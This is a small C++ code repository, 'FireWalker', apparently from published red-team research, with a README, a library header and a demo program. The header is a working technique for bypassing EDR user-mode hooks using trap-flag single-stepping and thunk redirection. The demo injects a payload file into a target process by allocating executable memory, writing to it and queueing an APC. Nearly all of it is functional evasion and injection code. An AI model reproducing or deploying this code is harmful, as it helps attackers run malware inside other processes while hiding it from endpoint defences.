├── README.md ├── demo └── ApcTest.cpp └── lib └── Firewalker.h /README.md: -------------------------------------------------------------------------------- 1 | # FireWalker Instructions 2 | 3 | This repo contains a simple library which can be used to add FireWalker hook bypass capabilities to existing code; the FireWalker concept is described on the MDSec blog at https://www.mdsec.co.uk/2020/08/firewalker-a-new-approach-to-generically-bypass-user-space-edr-hooking/. 4 | 5 | To use the library just `#include` the FireWalker.h source file within existing C++ code and wrap API calls which may be hooked with `FIREWALK`, e.g.: 6 | 7 | ```c++ 8 | if (!FIREWALK(QueueUserAPC((PAPCFUNC)lpvRemote, hRemoteThread, NULL))) 9 | { 10 | printf("QueueUserAPC failed\n"); 11 | return 1; 12 | } 13 | ``` 14 | 15 | At present FireWalker only supports 32-bit code with 32-bit hooks; x64 and WoW64 support may be added if the concept is popular. 16 | 17 | -------------------------------------------------------------------------------- /demo/ApcTest.cpp: -------------------------------------------------------------------------------- 1 | #define _CRT_SECURE_NO_WARNINGS 1 2 | 3 | #include 4 | #include 5 | #include "..\lib\Firewalker.h" 6 | 7 | typedef NTSTATUS(NTAPI* FUNC_NTALERTRESUMETHREAD)( 8 | IN HANDLE ThreadHandle, 9 | OUT PULONG SuspendCount 10 | ); 11 | 12 | FUNC_NTALERTRESUMETHREAD NtAlertResumeThread = (FUNC_NTALERTRESUMETHREAD)GetProcAddress(GetModuleHandle(L"ntdll"), "NtAlertResumeThread"); 13 | 14 | int main(int argc, char *argv[]) 15 | { 16 | if (argc != 3) 17 | { 18 | printf("Usage: %s \n", argv[0]); 19 | return 1; 20 | } 21 | 22 | FILE* fp = fopen(argv[1], "rb"); 23 | if (!fp) 24 | { 25 | printf("Payload file %s doesn't exist\n", argv[1]); 26 | return 1; 27 | } 28 | 29 | BYTE rgbPayload[8192] = { 0 }; 30 | 31 | fseek(fp, 0, SEEK_END); 32 | long lFileSize = ftell(fp); 33 | rewind(fp); 34 | 35 | if (!lFileSize > sizeof(rgbPayload)) 36 | { 37 | printf("File too large\n"); 38 | return 1; 39 | } 40 | 41 | if (fread(rgbPayload, 1, lFileSize, fp) != lFileSize) 42 | { 43 | printf("Error reading file\n"); 44 | return 1; 45 | } 46 | 47 | fclose(fp); 48 | 49 | DWORD dwPid = atoi(argv[2]); 50 | 51 | printf("About to open process\n"); 52 | getchar(); 53 | 54 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); 55 | if (!hProcess) 56 | { 57 | printf("Error opening process\n"); 58 | return 1; 59 | } 60 | 61 | printf("About to alloc memory\n"); 62 | getchar(); 63 | 64 | LPVOID lpvRemote = VirtualAllocEx(hProcess, NULL, 8192, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 65 | if (!lpvRemote) 66 | { 67 | printf("Unable to allocate remote memory\n"); 68 | return 1; 69 | } 70 | 71 | printf("About to write memory\n"); 72 | getchar(); 73 | 74 | SIZE_T BytesWritten = 0; 75 | 76 | if (!WriteProcessMemory(hProcess, lpvRemote, rgbPayload, lFileSize, &BytesWritten)) 77 | { 78 | printf("Unable to write memory\n"); 79 | return 1; 80 | } 81 | 82 | printf("About to create thread\n"); 83 | getchar(); 84 | 85 | HANDLE hRemoteThread = CreateRemoteThreadEx( 86 | hProcess, 87 | NULL, 88 | 0, 89 | (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlExitUserThread"), 90 | 0, 91 | CREATE_SUSPENDED, 92 | NULL, 93 | NULL 94 | ); 95 | 96 | if(!hRemoteThread) 97 | { 98 | printf("Unable to create remote thread\n"); 99 | return 1; 100 | } 101 | 102 | printf("About to queue APC\n"); 103 | getchar(); 104 | 105 | if (!FIREWALK(QueueUserAPC((PAPCFUNC)lpvRemote, hRemoteThread, NULL))) 106 | { 107 | printf("QueueUserAPC failed\n"); 108 | return 1; 109 | } 110 | 111 | printf("About to NtAlertResumeThread\n"); 112 | getchar(); 113 | 114 | ULONG ulSC = 0; 115 | 116 | if (NtAlertResumeThread(hRemoteThread, &ulSC) != 0) 117 | { 118 | printf("NtAlertResumeThread failed\n"); 119 | return 1; 120 | } 121 | 122 | printf("Done\n"); 123 | 124 | return 0; 125 | } -------------------------------------------------------------------------------- /lib/Firewalker.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define FIREWALK(call) \ 4 | [&](){ \ 5 | HANDLE veh = AddVectoredExceptionHandler(1, TrapFilter); \ 6 | Trap(); \ 7 | auto r = call; \ 8 | Untrap(); \ 9 | RemoveVectoredExceptionHandler(veh); \ 10 | return r; \ 11 | }() 12 | 13 | DECLSPEC_NOINLINE void Untrap(); 14 | 15 | //#define IF_DEBUG(x) x; 16 | #define IF_DEBUG(x) ; 17 | 18 | DWORD FindThunkJump(DWORD RangeStart, DWORD RangeEnd) 19 | { 20 | DWORD Address = 1; 21 | MEMORY_BASIC_INFORMATION mbi; 22 | 23 | while (Address < 0x7fffff00) 24 | { 25 | SIZE_T result = VirtualQuery((PVOID)Address, &mbi, sizeof(mbi)); 26 | if (!result) 27 | { 28 | break; 29 | } 30 | 31 | Address = (DWORD)mbi.BaseAddress; 32 | 33 | if (mbi.Protect & (PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE)) 34 | { 35 | for (DWORD i = 0; i < (mbi.RegionSize - 6); i++) 36 | { 37 | __try 38 | { 39 | if (*(PBYTE)Address == 0xe9) 40 | { 41 | // jmp rel 42 | DWORD Target = Address + *(DWORD*)(Address + 1) + 5; 43 | 44 | if (Target >= RangeStart && Target <= RangeEnd) 45 | { 46 | return Address; 47 | } 48 | } 49 | else if (*(PBYTE)Address == 0xff && *(PBYTE)(Address + 1) == 0x25) 50 | { 51 | // jmp indirect 52 | DWORD Target = *(DWORD*)(Address + *(DWORD*)(Address + 2) + 6); 53 | 54 | if (Target >= RangeStart && Target <= RangeEnd) 55 | { 56 | return Address; 57 | } 58 | } 59 | } 60 | __except (EXCEPTION_EXECUTE_HANDLER) 61 | { 62 | 63 | } 64 | 65 | Address++; 66 | } 67 | } 68 | 69 | Address = (DWORD)mbi.BaseAddress + mbi.RegionSize; 70 | } 71 | 72 | return 0; 73 | } 74 | 75 | LONG __stdcall TrapFilter(PEXCEPTION_POINTERS pexinf) 76 | { 77 | IF_DEBUG(printf("[0x%p] pexinf->ExceptionRecord->ExceptionAddress = 0x%p, pexinf->ExceptionRecord->ExceptionCode = 0x%x (%u)\n", 78 | pexinf->ContextRecord->Eip, 79 | pexinf->ExceptionRecord->ExceptionAddress, 80 | pexinf->ExceptionRecord->ExceptionCode, 81 | pexinf->ExceptionRecord->ExceptionCode)); 82 | 83 | if (pexinf->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION && 84 | ((DWORD)pexinf->ExceptionRecord->ExceptionAddress & 0x80000000) != 0) 85 | { 86 | pexinf->ContextRecord->Eip = pexinf->ContextRecord->Eip ^ 0x80000000; 87 | IF_DEBUG(printf("Setting EIP back to 0x%p\n", pexinf->ContextRecord->Eip)); 88 | } 89 | else if (pexinf->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP) 90 | { 91 | return EXCEPTION_CONTINUE_SEARCH; 92 | } 93 | 94 | //UINT length = length_disasm((PBYTE)pexinf->ContextRecord->Eip); 95 | //IF_DEBUG(printf("[0x%p] %S", pexinf->ContextRecord->Eip, HexDump((PBYTE)pexinf->ContextRecord->Eip, length).c_str())); 96 | 97 | // https://c9x.me/x86/html/file_module_x86_id_26.html 98 | 99 | DWORD CallTarget = 0; 100 | DWORD CallInstrLength = 2; 101 | 102 | switch (*(PBYTE)pexinf->ContextRecord->Eip) 103 | { 104 | case 0xff: 105 | // FF /2 CALL r/m32 Call near, absolute indirect, address given in r/m32 106 | 107 | switch (*(PBYTE)(pexinf->ContextRecord->Eip + 1)) 108 | { 109 | case 0x10: 110 | CallTarget = *(DWORD*)pexinf->ContextRecord->Eax; 111 | break; 112 | case 0x11: 113 | CallTarget = *(DWORD*)pexinf->ContextRecord->Ecx; 114 | break; 115 | case 0x12: 116 | CallTarget = *(DWORD*)pexinf->ContextRecord->Edx; 117 | break; 118 | case 0x13: 119 | CallTarget = *(DWORD*)pexinf->ContextRecord->Ebx; 120 | break; 121 | case 0x15: 122 | CallTarget = *(DWORD*)(*(DWORD*)(pexinf->ContextRecord->Eip + 2)); 123 | CallInstrLength = 6; 124 | break; 125 | case 0x16: 126 | CallTarget = *(DWORD*)pexinf->ContextRecord->Esi; 127 | break; 128 | case 0x17: 129 | CallTarget = *(DWORD*)pexinf->ContextRecord->Edi; 130 | break; 131 | case 0xd0: 132 | CallTarget = pexinf->ContextRecord->Eax; 133 | break; 134 | case 0xd1: 135 | CallTarget = pexinf->ContextRecord->Ecx; 136 | break; 137 | case 0xd2: 138 | CallTarget = pexinf->ContextRecord->Edx; 139 | break; 140 | case 0xd3: 141 | CallTarget = pexinf->ContextRecord->Ebx; 142 | break; 143 | case 0xd6: 144 | CallTarget = pexinf->ContextRecord->Esi; 145 | break; 146 | case 0xd7: 147 | CallTarget = pexinf->ContextRecord->Edi; 148 | break; 149 | } 150 | 151 | break; 152 | case 0xe8: 153 | // E8 cd CALL rel32 Call near, relative, displacement relative to next instruction 154 | 155 | CallTarget = pexinf->ContextRecord->Eip + *(DWORD*)(pexinf->ContextRecord->Eip + 1) + 5; 156 | CallInstrLength = 5; 157 | 158 | break; 159 | } 160 | 161 | if (CallTarget != 0) 162 | { 163 | IF_DEBUG(printf("Call to 0x%p\n", CallTarget)); 164 | 165 | if (*(PBYTE)CallTarget == 0xe9) 166 | { 167 | IF_DEBUG(printf("Call to 0x%p leads to jmp\n", CallTarget)); 168 | 169 | DWORD ThunkAddress = FindThunkJump((DWORD)CallTarget, CallTarget + 16); 170 | DWORD ThunkLength = ThunkAddress + *(DWORD*)(ThunkAddress + 1) + 5 - CallTarget; 171 | 172 | if (CallTarget != ThunkAddress) 173 | { 174 | IF_DEBUG(printf("Thunk address 0x%p length 0x%x\n", ThunkAddress, ThunkLength)); 175 | IF_DEBUG(printf("Thunk [0x%p] %S", ThunkAddress, HexDump((PVOID)(ThunkAddress - ThunkLength), ThunkLength + 5).c_str())); 176 | 177 | // emulate the call 178 | pexinf->ContextRecord->Esp -= 4; 179 | *(DWORD*)pexinf->ContextRecord->Esp = pexinf->ContextRecord->Eip + CallInstrLength; 180 | 181 | pexinf->ContextRecord->Eip = ThunkAddress - ThunkLength; 182 | } 183 | } 184 | } 185 | 186 | if (*(PBYTE)pexinf->ContextRecord->Eip != 0xea || *(PWORD)(pexinf->ContextRecord->Eip + 5) != 0x33) 187 | { 188 | if (pexinf->ContextRecord->Eip == (DWORD)Untrap) 189 | { 190 | IF_DEBUG(printf("Removing trap\n")); 191 | pexinf->ContextRecord->Eip += 1; // skip int3 192 | } 193 | else 194 | { 195 | IF_DEBUG(printf("Restoring trap\n")); 196 | pexinf->ContextRecord->EFlags |= 0x100; // restore trap 197 | } 198 | } 199 | else 200 | { 201 | // heaven's gate - trap the return 202 | IF_DEBUG(printf("Entering heaven's gate\n")); 203 | *(DWORD*)pexinf->ContextRecord->Esp |= 0x80000000; // set the high bit 204 | } 205 | 206 | return EXCEPTION_CONTINUE_EXECUTION; 207 | } 208 | 209 | __forceinline void Trap() 210 | { 211 | __asm 212 | { 213 | pushfd 214 | or dword ptr[esp], 0x100 215 | popfd 216 | } 217 | } 218 | 219 | DECLSPEC_NOINLINE void Untrap() 220 | { 221 | __asm { int 3 } 222 | return; 223 | } --------------------------------------------------------------------------------